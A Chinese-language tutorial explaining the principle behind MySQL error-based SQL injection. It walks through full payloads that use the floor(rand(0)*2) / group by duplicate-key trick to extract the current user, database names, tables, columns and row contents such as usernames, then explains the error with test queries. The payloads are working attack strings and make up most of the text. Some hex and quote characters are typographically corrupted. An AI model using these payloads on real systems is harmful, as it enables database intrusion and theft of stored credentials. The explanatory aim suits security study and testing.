深入分析MySql 報錯注入原理分析

看了一下關於mysql報錯注入的技術文章，都是通過類似以下的語句進行注入的。這樣的語句被稱為公式“公式”，好多小菜都是拿來直接用，不知道為什麼會是這樣。可是偏偏有我這種二貨一定要搞明白這幾句。

先來看看注入的全過程：

admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#

爆所有庫

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0×27,schema_name,0×27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆當前資料庫

username=-99999999999′ and(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,hex(cast(database() as char)),0×27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆表

and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,hex(cast(table_name as char)),0×27,0x7e) from information_schema.tables where table_schema=0x64656D6F limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆欄位

and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,column_name,0×27,0x7e) from information_schema.columns where table_schema=0x64656D6F and table_name=0×75736572 limit 0,1)) from

information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆內容

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0×27,user.username,0×27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#

爆出內容目的就達到了，這些語句讓我最無法理解的就是floor(rand(0)*2))，group by x，完全不知道拿出來是做什麼的。

查相關資料在mysql官方介紹中找到答案：
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.

意思就是不能再ORDER BY 中使用 RAND() 了。

那就也不能用GROUP BY了。。

用了就會報錯了。

admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#
a為：concat(floor(rand(0)*2),(select user() limit 0,1))

有rand，後面又出現group by a語句，所以就報錯了Duplicate entry ‘root‘ for key ‘group_key’
而這裡的“’XXXXXXXXXX”就是 user()的內容，這樣就有了使用者名稱。

可以進行如下的測試：
報錯的：
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b–

去掉rand後沒有報錯：
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(0,(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b–

去掉GROUP BY a 後沒有報錯：
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables )b–